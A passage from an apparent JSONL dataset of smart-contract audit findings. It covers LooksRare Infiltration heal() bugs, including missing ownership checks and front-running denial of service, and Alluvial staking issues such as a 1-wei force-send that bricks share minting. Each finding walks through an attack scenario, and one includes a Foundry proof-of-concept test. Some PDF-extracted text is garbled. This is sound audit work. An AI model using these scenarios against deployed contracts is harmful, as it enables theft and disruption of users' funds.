players","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//002-H/034.md"}} +{"title":"A participant with enough agents can force win while some opponents' agents are healing","severity":"major","body":"Fun Aegean Halibut\n\nhigh\n\n# A participant with enough agents can force win while some opponents' agents are healing\n## Summary\nInfiltration contract decides the game is over when only one `Active` agent is left.\nThis fails to take in account that some agents may be `Healing` and may become active again in next round. \nThis makes sense if `number of active agents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS` in previous round already, since at that point no healing is allowed.\nBut one participant holding 100% of active agents and at least `N=NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS+1` agents, can escape `N` agents, and claim the grand prize right away.\n\n## Vulnerability Detail\nLet's examine the following scenario:\n```solidity\nNUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS = 50\n```\n\nAlice holds 51 active agents, Bob holds 10 healing agents.\n\n- Alice escapes 50 agents\n- Alice claims grand prize, since `number of active agents == 1` and `_assertGameOver()` does not revert:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1697-L1701\n\nBob cannot win anymore, even though his agents could've become active again if another round was started.\n\n## Impact\nParticipants may be unfairly denied the healing settlement, thus losing the right to potentially win grand prize. That also means these participants paid healing fee for nothing in this round.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `(gameInfo.activeAgents == 1 && gameInfo.healingAgents == 0)` as a criteria for the game being over;\n\n```diff\nfunction _assertGameOver() private view {\n- if (gameInfo.activeAgents != 1) {\n+ if (gameInfo.activeAgents != 1 || gameInfo.healingAgents != 0) {\n revert GameIsStillRunning();\n }\n}\n```\n\nand in `startNewRound`:\n\n```diff\n-if (activeAgents == 1) {\n+if (gameInfo.activeAgents == 1 && gameInfo.healingAgents == 0)\n revert GameOver();\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//002-H/029.md"}} +{"title":"Missing validation for agent ownership in heal() function","severity":"medium","body":"Clean Tiger Beetle\n\nhigh\n\n# Missing validation for agent ownership in heal() function\n## Summary\nDue to a missing check in the `heal()` function, a user can heal agents that he is not in possession of.\n\n## Vulnerability Detail\nThe `heal()` function lacks a critical validation step to verify the ownership of the agent being healed.\n\n## Impact\nThis oversight is severe because it allows any user to potentially heal (and by the associated logic, also inadvertently kill) agents without proving ownership. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L825\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd `_assertAgentOwnership(agentId);` in the for-loop inside the `heal()` function\n```solidity\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i];\n _assertAgentOwnership(agentId);\n \n uint256 index = agentIndex(agentId);\n _assertAgentStatus(agents[index], agentId, AgentStatus.Wounded);\n\n bytes32 agentSlot = _getAgentStorageSlot(index);\n uint256 agentSlotValue;\n uint256 woundedAt;\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/119.md"}} +{"title":"Front-running heal function","severity":"medium","body":"Sunny Bronze Gecko\n\nmedium\n\n# Front-running heal function\n## Summary\n\nThe `heal` function, intended to facilitate healing of wounded agents, is susceptible to be front-run and revert due to a status check that causes the entire transaction to revert if any single agent in the batch is not in the expected wounded status.\n\n## Vulnerability Detail\n\n`heal()` performs a status check for each agent to ensure they are eligible for healing by being in a wounded state. This check is done through `_assertAgentStatus()`, which reverts the transaction if the status condition is not met\n\nImagine the scenario where Alice who has `100` agents, attempts to heal `20` agents wounded, an attacker, Bob, can observe the transaction in the mempool and send a transaction with a higher gas price to heal one of the `20` Alice's agents\nIf Bob's transaction is confirmed first, the status of the agent changes, and when Alice's transaction is processed, it fails due to the status check, causing her to lose the gas spent on the transaction and leaving her agents at risk for another round\nSuppose 15 of the agents were wounded at `currentRoundId-ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD` and Bob performs it's attack until enough block pass to be able to call `startNewRound()`, 15 of Alice's agents will be killed in `fulfillRandomWords()`\n\n## Impact\n\n- loss of gas for Alice \n- Alice agents killed without any chance to survive or at least increased risk of Alice's agents being killed next round\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L829\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nI think it's important to allow anyone to heal anyone agents so simply continue the loop for healing if one of the agents status of `uint256[] calldata agentIds` is not `status.wounded`","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/106.md"}} +{"title":"[M-01] Allows Unauthorized Healing Due to Missing Ownership Check","severity":"medium","body":"Jumpy Pink Alligator\n\nfalse\n\n# [M-01] Allows Unauthorized Healing Due to Missing Ownership Check\n## Summary\n`Infiltration::heal` function in the contract lacks an ownership check, allowing any user to attempt healing on agents without verifying ownership. This vulnerability can lead to unauthorized users interfering with the agent healing process, potentially causing imbalances in the game's dynamics and compromising fairness and security.\n\n## Vulnerability Detail\n```javascript\n function heal(uint256[] calldata agentIds) external nonReentrant {\n _assertFrontrunLockIsOff();\n\n if (gameInfo.activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n revert HealingDisabled();\n } ... \n\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i]; // @audit not ownership check\n \n uint256 index = agentIndex(agentId);\n _assertAgentStatus(agents[index], agentId, AgentStatus.Wounded);\n ...\n}\n```\n`Infiltration::heal` allows anyone to call it, without checking the agentIDs own by msg.sender. This can lead to potential exploits and disruptions in gameplay. Here's an example of how it can be exploited:\n\nScenario:\n\nUser A owns agents with IDs: [1, 2, 3]\nUser B wants to heal their agents but does not own agents 1, 2, or 3.\nExploit:\n\nUser B calls the heal function with the agent IDs [1, 2, 3].\nSince the function does not check ownership, it proceeds to attempt healing these agents.\nImpact:\n\nAgents 1, 2, and 3 will go through the healing process, even though they do not belong to User B.\nThis could lead to an imbalance in the game, with unauthorized users gaining benefits they shouldn't have.\n\nBy healing agents not owned, User B could influence the overall state of the game, potentially causing unintended consequences.\n\n## Impact\nThe vulnerability allows unauthorized users to interfere with the agent healing process, potentially leading to imbalances, disruptions, and unfair advantages in the game.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L826\n\n## Tool used\n\nManual Review\n\n## Recommendation\nOnly allow owner of agentIDs to heal:\n```javascript\n function heal(uint256[] calldata agentIds) external nonReentrant {\n _assertFrontrunLockIsOff();\n\n if (gameInfo.activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n revert HealingDisabled();\n } ... \n\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i]; \n+ _assertAgentOwnership(agentId); // add ownership check\n uint256 index = agentIndex(agentId);\n _assertAgentStatus(agents[index], agentId, AgentStatus.Wounded);\n ...\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/082.md"}} +{"title":"heal can be Dossed by frontrunning - by competitor who just heal one of the victims agentsIds","severity":"medium","body":"Refined Amethyst Pigeon\n\nmedium\n\n# heal can be Dossed by frontrunning - by competitor who just heal one of the victims agentsIds\n## Summary\nheal can be Dossed by frontrunning - by competitor who just heal one of the victim's agentsIds\n\n## Vulnerability Detail\nanyone can heal any wounded agent under the current setup. Consider the following:\n\n1. There are 51 agents left, 25 is owned by A and 26 is owned by B. Each of them has 5 agents wounded.\n\n2. Since there are 30 slots to heal, technically both can heal their agents, so both can send in a heal tx with all of their 5 agentIds.\n\n3. However A would like to Doss B from healing, so he frontrun B in the `heal` tx, by intentionally healing 1 of B's agent.\n\n4. If front-run, B's heal tx to heal all his 5 agents would revert, due to 1 of his agent has already become Active again, failing the status check.\n\n=> A is incentivised to do so. Since even though B can find out he gets Dossed in the next round and send in heal tx agent by agent, B's heal probability for the rest of his wounded agents still drops round over round. \n\n```solidity\n function heal(uint256[] calldata agentIds) external nonReentrant {\n _assertFrontrunLockIsOff();\n\n if (gameInfo.activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n revert HealingDisabled();\n }\n\n uint256 agentIdsCount = agentIds.length;\n _assertNotEmptyAgentIdsArrayProvided(agentIdsCount);\n\n uint256 currentRoundId = gameInfo.currentRoundId;\n uint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH]\n storage healingAgentIds = healingAgentIdsPerRound[currentRoundId];\n uint256 currentHealingAgentIdsCount = healingAgentIds[0];\n\n uint256 newHealingAgentIdsCount = currentHealingAgentIdsCount.unsafeAdd(agentIdsCount);\n\n if (newHealingAgentIdsCount > MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND) {\n revert MaximumHealingRequestPerRoundExceeded();\n }\n\n uint256 cost;\n uint256[] memory costs = new uint256[](agentIdsCount);\n\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i];\n\n uint256 index = agentIndex(agentId);\n@> audit _assertAgentStatus(agents[index], agentId, AgentStatus.Wounded);\n\n```\n\n_assertAgentStatus\n```solidity\n function _assertAgentStatus(Agent storage agent, uint256 agentId, AgentStatus status) private view {\n if (agent.status != status) {\n revert InvalidAgentStatus(agentId, status);\n }\n }\n```\n\n## Impact\nHeal can be frontrun to fail, because the tx revert even anyone of agent status check fails.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L829\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAllow the execution to continue on the next agent if any particular agent fails its status check.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/073.md"}} +{"title":"heal - attacker can request heal to stop other users from trading NFTs","severity":"medium","body":"Polite Rose Beaver\n\nmedium\n\n# heal - attacker can request heal to stop other users from trading NFTs\n## Summary\n\nOnly active, wounded agents can be transferred. Since anyone can request heal the wounded agent owned by another user, attacker can prevent user sell(transfer) agent NFT.\n\n## Vulnerability Detail\n\nThe `heal` function allows anyone to request to heal the wounded agent that they do not own. Only active or wounded agents can be transferred, not healing, escaped, or dead agents.\n\n```solidity\nfunction transferFrom(address from, address to, uint256 tokenId) public payable override {\n AgentStatus status = agents[agentIndex(tokenId)].status;\n@> if (status > AgentStatus.Wounded) {\n revert InvalidAgentStatus(tokenId, status);\n }\n super.transferFrom(from, to, tokenId);\n}\n```\n\n \n\nUsers can freely buy and sell agent NFTs on the NFT market. However, if the attacker requests to heal the wounded agent that is selling, the user will not be able to trade agent NFT.\n\nThis is the PoC code. Anyone can request to heal the agent, and this agent is no longer transferable.\n\n```solidity\nfunction test_poc_heal_others() public {\n _startGameAndDrawOneRound();\n\n _drawXRounds(1);\n \n address attacker = address(0xcafebabe);\n\n (uint256[] memory woundedAgentIds, ) = infiltration.getRoundInfo({roundId: 1});\n\n assertEq(infiltration.costToHeal(woundedAgentIds), HEAL_BASE_COST * woundedAgentIds.length);\n\n address agentOwner = _ownerOf(woundedAgentIds[0]);\n\n looks.mint(attacker, HEAL_BASE_COST);\n\n // attacker calls heal\n vm.startPrank(attacker);\n _grantLooksApprovals();\n looks.approve(TRANSFER_MANAGER, HEAL_BASE_COST);\n\n uint256[] memory agentIds = new uint256[](1);\n agentIds[0] = woundedAgentIds[0];\n\n uint256[] memory costs = new uint256[](1);\n costs[0] = HEAL_BASE_COST;\n\n expectEmitCheckAll();\n emit HealRequestSubmitted(3, agentIds, costs);\n\n infiltration.heal(agentIds);\n vm.stopPrank();\n\n (, uint256[] memory healingAgentIds) = infiltration.getRoundInfo({roundId: 1});\n assertAgentIdsAreHealing(healingAgentIds);\n\n vm.expectRevert(\n abi.encodePacked(\n IInfiltration.InvalidAgentStatus.selector,\n abi.encode(woundedAgentIds[0], IInfiltration.AgentStatus.Healing)\n )\n );\n\n vm.prank(agentOwner); // NFT owner fail to sell/transfer NFT\n infiltration.transferFrom(agentOwner, address(0x1234), woundedAgentIds[0]);\n\n}\n```\n\n## Impact\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L801](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L801)\n\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L925-L928](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L925-L928)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nMake sure that only the agent owner can request to heal. If `heal` is called from InfiltrationPeriphery contract, pass `msg.sender` as parameter and check it.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/057-best.md"}} +{"title":"Healing can be used to DOS sales on secondary markets of wounded agents","severity":"medium","body":"Fun Aegean Halibut\n\nhigh\n\n# Healing can be used to DOS sales on secondary markets of wounded agents\n## Summary\nIn this game agents can only be transferred when they are in the state of being `Active` or `Wounded`. This is used to enable the trading on secondary market of agents which have a reasonable chance to not be dead in the next round/already.\n\nSince an agent with the `Healing` status has a risk of being killed in the next round, transferring such agents is disabled. However since healing of an agent can be done by anybody, anybody can block/DOS the sale of a wounded agent by healing it. \n\n## Vulnerability Detail\nAlice wants to trade her agent which is in the state `Wounded`, so she posts an offer on her favorite marketplace.\nBob tries to buy Alice's agent, but is front-run by Charlie who heals Alice's agent, making the transfer revert.\nSince this transaction is not possible anymore, Charlie can post an offer for his own agent, and have more chances of having it fulfilled.\n\n## Impact\nSome trades may be DOSed on secondary markets\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L924-L930\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnable the transfer of healing agents, maybe taking in consideration the front-run lock (since a participant may peek at the next state of the agent and act accordingly).","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/051.md"}} +{"title":"`Infiltration.heal()` doesn't check for agent ownership","severity":"medium","body":"Rapid Rouge Blackbird\n\nmedium\n\n# `Infiltration.heal()` doesn't check for agent ownership\n## Summary\nIn the `heal()` function of the `Infiltration` contract, user provided agents are not checked for ownership.\n\n## Vulnerability Detail\nIn the `heal()` function, agents are only checked for their status and length, but not ownership. Any user can heal any agents.\n\n## Impact\nDespite calling the function costs caller prices and doesn't benefit caller at all, it can still affect the overall game plan/order for other users.\n\n## Code Snippet\n```solidity\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i];\n\n uint256 index = agentIndex(agentId);\n _assertAgentStatus(agents[index], agentId, AgentStatus.Wounded);\n\n bytes32 agentSlot = _getAgentStorageSlot(index);\n uint256 agentSlotValue;\n uint256 woundedAt;\n```\n\n\n## Tool used\nManual Review\n\n## Recommendation\nCheck for ownership at the beginning of the loop.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//001-M/002.md"}} {"title":"**6.1.1 An attacker can freeze all incoming deposits and brick the oracle members' reporting system with","severity":"critical","body":"only** 1 wei\n\n**Severity:** Critical Risk\n\n**Context:** SharesManager.1.sol#L195-L\n\n**Description:** An attacker can brick/lock all deposited user funds and also prevent oracle members to come to a\nquorum when there is an earning to be distributed as rewards. Consider the following scenario:\n\n1. The attacker force sends1 weito theRivercontract using, e.g.,selfdestruct. The attacker has to make\n sure to perform this transaction before any other users deposit their funds in the contract. The attacker can\n look at the mempool and also front-run the initial user deposit. Now theb = _assetBalance() > 0, is at\n least1 wei.\n2. Now an allowed user tries to deposit funds into theRiverprotocol. The call eventually ends up in_-\n mintShares(o, x)and in the 1st lineoldTotalAssetBalance = _assetBalance() - x, _assetBalance()\n represents the updatedRiverbalance after taking into account thexdeposit as well by the user. So_as-\n setBalance()is nowb + x + ...andoldTotalAssetBalance = b + ...where the...includes beacon\n balance sum, deposited amounts for validators in queue, ... (which is probably 0 by now). Therefore,oldTo-\n talAssetBalance > 0means that the followingifblock is skipped:\n\n```\nif (oldTotalAssetBalance == 0) {\n_mintRawShares(_owner, _underlyingAssetValue);\nreturn _underlyingAssetValue;\n}\n```\nAnd goes directly to theelseblock for the 1st allowed user deposit:\n\n```\nelse {\nuint256 sharesToMint = (_underlyingAssetValue * _totalSupply()) / oldTotalAssetBalance;\n_mintRawShares(_owner, sharesToMint);\nreturn sharesToMint;\n}\n```\nBut since shares have not been minted yet_totalSupply() == 0, and thereforesharesToMint == 0. So we\nmint 0 shares for the user and return 0. Note that_assetBalance()keeps increasing, but_totalSupply()or\nShares.get()remains 0.\n\n3. Now the next allowed users deposit funds and just like step 2.Riverwould mint them 0 shares,_assetBal-\n ance()increases but_totalSupply()orShares.get()remains 0.\n\nNote that_totalSupply()orShares.get()remains 0 until the oracle members come to a quorum for the beacon\nbalance sum and number of validators for a voting frame. Then the last oracle member who calls thereport-\nBeaconto trigger the quorum causes a call to_pushToRiverwhich in turn callsriver.setBeaconData. Now in\nsetBeaconDataif we have accumulated interest then_onEarningsis called. The 1st few lines of_onEarningsare:\n\n```\nuint256 currentTotalSupply = _totalSupply();\nif (currentTotalSupply == 0) {\nrevert ZeroMintedShares();\n}\n```\nBut _totalSupply()is still 0 sorevert ZeroMintedShares()is called and the revert bubbles up the stack\nof call toreportBeacon, which means that the last oracle member that can trigger a quorum will have its call\ntoreportBeaconreverted. Therefore, no quorums will ever be made which has some earnings and theRiver\nprotocol will stay unaware of its deposited validators on the beacon change. Any possible path to_mintRawShares\n(which could causeShares.get()to increase) is also blocked and _totalSupply()would stay at 0.\n\n\nSo even after validators, oracle members, etc.. become active, when an allowed user deposits they would receive\n0 shares.\n\nNote, that an attacker can turn this into a DoS attack for theRiverProtocol, since redeployment alone would not\nsolve this issue. The attacker can monitor the mempool and always try to be 1st person to force deposit1 weiinto\ntheRiverdeployed contract.\n\n**Alluvial:** If we change the condition that checks if the old underlying asset balance is zero to checking if the total\nshares is under a minimum amount (so we would mint 1:1 as long as we haven't reached that value) would it solve\nthe issue? This minimum value can beDEPOSIT_SIZEas the price per share should be 1:1 anyway as no revenue\nwas generated.\n\n**Spearbit:** Yes, this would solve this issue. Alluvial can also as part of an atomic deployment send1 weiand mint\nthe corresponding share using a call to the internal function_mintRawShares.\n\nAlso note, we should remove the check foroldTotalAssetBalance == 0asoldTotalAssetBalanceis used as\nthe denominator forsharesToMint. There could be some edge scenarios where the_totalSupply()is positive\nbutoldTotalAssetBalanceis 0. So if extra checks are introduced for_totalSupply(), we should still keep the\ncheck or a modified version foroldTotalAssetBalance.\n\n**Spearbit:** In PR:\n\n- [SPEARBIT/4] Add a ethToDeposit storage var that accounts for incoming ETH\n\nAlluvial introduces BalanceToDeposit storage variable. This variable is basically replacing ad-\ndress(this).balanceforRiverin multiple places including_assetBalance()function. TheBalanceToDeposit\ncan only be modified when:\n\n1. An allowed user deposits intoRiverwhich will increaseBalanceToDepositand also total minted shares\n2. An entity (in later commits only theadmincan call this endpoint) callsdepositToConsensusLayerwhich\n might reduce theBalanceToDepositamount but the net effect on_assetBalance()would be zero. That\n would also meanBalanceToDepositshould have been non-zero to begin with.\n3. A call tosetConsensusLayerDataby the Oracle (originated by a call toreportConsensusLayerDataby an\n oracle member) which will pull fees fromELFeeRecipientAddress(in later commits it will only pull fees if\n needed and up to a max amount) and would increaseBalanceToDeposit.\n\nNote the attack in this issue works by making sure_assetBalance()is non-zero while_totalSupply()is zero.\nThat means we cannot afford a call to end up at_onEarningsfor this scheme to work. Since if_totalSupply()\n== 0,_onEarningswould revert. That means even with a malicious group of oracle members reporting wrong\ndata, if a call ends up atsetConsensusLayerDatawith_validatorCount = 0and_validatorTotalBalance >\n0 ,_onEarningswould trip. Also if the oracle members are not malicious and just report_validatorCount = 0\nand_validatorTotalBalance = 0, but an attacker force sends1 weitoELFeeRecipientAddress, the same thing\nhappens again and_onEarningswould revert since no shares are minted yet, That means all the possible ways to\nhave a net positive effect onBalanceToDeposit(and thus_assetBalance()) while keeping_totalSupply()zero\nis blocked. But\n\n```\n_assetBalance() = (\nBalanceToDeposit.get() +\nCLValidatorTotalBalance.get() +\n(DepositedValidatorCount.get() - CLValidatorCount.get()) *\n,! ConsensusLayerDepositManagerV1.DEPOSIT_SIZE\n);\n```\nor\n\n```\nB=D+Bv+ 32(Cd\u0000Cv)\n```\nwhere:\n\n- Bis_assetBalance()\n\n\n- DisBalanceToDeposit.get()\n- BvisCLValidatorTotalBalance.get()\n- CdisDepositedValidatorCount.get()\n- CvisCLValidatorCount.get()\n\nAlsoCv\u0014Cdis an invariant. Bv,Cvare only set insetConsensusLayerDataand thus can only be changed by\na quorum of oracle members. Cdonly increases and is only set indepositToConsensusLayerand requires a\npositiveD. After a call todepositToConsensusLayer,\u0001D=\u0000 32 \u0001Cd(\u0001B= 0 ).\n\nThus putting all this info together, all the possible points of attack to make sureBwill be positive while keeping\n_totalSupply()zero are blocked.\n\n**A note for the future** : when users are able to withdraw their investment and burn their shares if all users withdraw\nand due to some rounding errors or other causesBstays positive, then the next user to deposit and mint a share\nwould receive zero shares.","dataSource":{"name":"spearbit/portfolio","repo":"https://github.com/spearbit/portfolio","url":"https://github.com/spearbit/portfolio/blob/master/pdfs/Alluvial-Spearbit-Security-Review.pdf"}} {"title":"6.1.2 Operators._hasFundableKeysreturnstruefor operators that do not have fundable keys","severity":"critical","body":"**Severity:** Critical Risk\n\n**Context:** Operators.sol#L149-L\n\n**Description:** Because_hasFundableKeysusesoperator.stoppedin the check, an operator without fundable\nkeys be validated and returntrue.\n\nScenario: Op1 has\n\n- keys = 10\n- limit = 10\n- funded = 10\n- stopped = 10\n\nThis means that all the keys got funded, but also \"exited\". Because of how_hasFundableKeysis made, when you\ncall_hasFundableKeys(op1)it will returntrueeven if the operator does not have keys available to be funded.\n\nBy returningtrue, the operator gets wrongly included ingetAllFundablereturned array. That function is critical\nbecause it is the one used bypickNextValidatorsthat picks the next validator to be selected and stake delegate\nuser ETH.\n\nBecause of this issue in_hasFundableKeysalso the issueOperatorsRegistry._getNextValidatorsFromActive-\nOperatorscan DOS Alluvial staking if there's an operator withfunded==stoppedandfunded == min(limit,\nkeys)can happen DOSing the contract that will always makepickNextValidatorsreturn empty.\n\nCheckAppendixfor a test case to reproduce this issue.\n\n**Recommendation:** Alluvial should reimplement the logic ofOperators. _hasFundableKeysthat should return\ntrueif and only if the operator is active and has fundable keys. The attributestoppedshould not be used.\n\n**Alluvial:** Recommendations implemented in PR SPEARBIT/3.\n\n**Spearbit:** Acknowledged.","dataSource":{"name":"spearbit/portfolio","repo":"https://github.com/spearbit/portfolio","url":"https://github.com/spearbit/portfolio/blob/master/pdfs/Alluvial-Spearbit-Security-Review.pdf"}} {"title":"**6.1.3** OperatorsRegistry._getNextValidatorsFromActiveOperators **can DOS Alluvial staking if there's an","severity":"critical","body":"operator with** funded==stopped **and** funded == min(limit, keys)\n\n**Severity:** Critical Risk\n\n**Context:** OperatorsRegistry.1.sol#L403-L\n\n**Description:** This issue is also related to OperatorsRegistry._getNextValidatorsFromActiveOperators\nshould not considerstoppedwhen picking a validator.\n\nConsider a scenario where we have\n\n```\nOp at index 0\nname op\nactive true\nlimit 10\nfunded 10\nstopped 10\nkeys 10\n```\n```\nOp at index 1\nname op\nactive true\nlimit 10\nfunded 0\nstopped 0\nkeys 10\n```\nIn this case,\n\n- Op1 got all 10 keys funded and exited. Because it haskeys=10andlimit=10it means that it has no more\n keys to get funded again.\n- Op2 instead has still 10 approved keys to be funded.\n\nBecause of how the selection of the picked validator works\n\n```\nuint256 selectedOperatorIndex = 0;\nfor (uint256 idx = 1; idx < operators.length;) {\nif (\noperators[idx].funded - operators[idx].stopped\n< operators[selectedOperatorIndex].funded - operators[selectedOperatorIndex].stopped\n) {\nselectedOperatorIndex = idx;\n}\nunchecked {\n++idx;\n}\n}\n```\nWhen the function finds an operator with funded == stopped it will pick that operator because 0 <\noperators[selectedOperatorIndex].funded - operators[selectedOperatorIndex].stopped.\n\nAfter the loop ends,selectedOperatorIndexwill be the index of an operator that has no more validators to be\nfunded (for this scenario). Because of this, the following code\n\n```\nuint256 selectedOperatorAvailableKeys = Uint256Lib.min(\noperators[selectedOperatorIndex].keys,\noperators[selectedOperatorIndex].limit\n) - operators[selectedOperatorIndex].funded;\n```\nwhen executed on Op1 it will setselectedOperatorAvailableKeys = 0and as a result, the function will return\nreturn (new bytes[](0), new bytes[](0));.\n\n\nIn this scenario whenstopped==fundedand there are no keys available to be funded (funded == min(limit,\nkeys)) the function will **always** return an empty result, breaking thepickNextValidatorsmechanism that won't\nbe able to stake user's deposited ETH anymore even if there are operators with fundable validators.\n\nCheck theAppendixfor a test case to reproduce this issue.\n\n**Recommendation:** Alluvial should\n\n- reimplement the logic ofOperators. _hasFundableKeysthat should select only active operators with fund-\n able keys without using thestoppedattribute.\n- reimplement the logic inside theOperatorsRegistry. _getNextValidatorsFromActiveOperatorsloop to\n correctly pick the active operator with the higher number of fundable keys without using thestoppedattribute.\n\n**Alluvial:** Recommendation implemented in SPEARBIT/3.\n\n**Spearbit:** Acknowledged.","dataSource":{"name":"spearbit/portfolio","repo":"https://github.com/spearbit/portfolio","url":"https://github.com/spearbit/portfolio/blob/master/pdfs/Alluvial-Spearbit-Security-Review.pdf"}}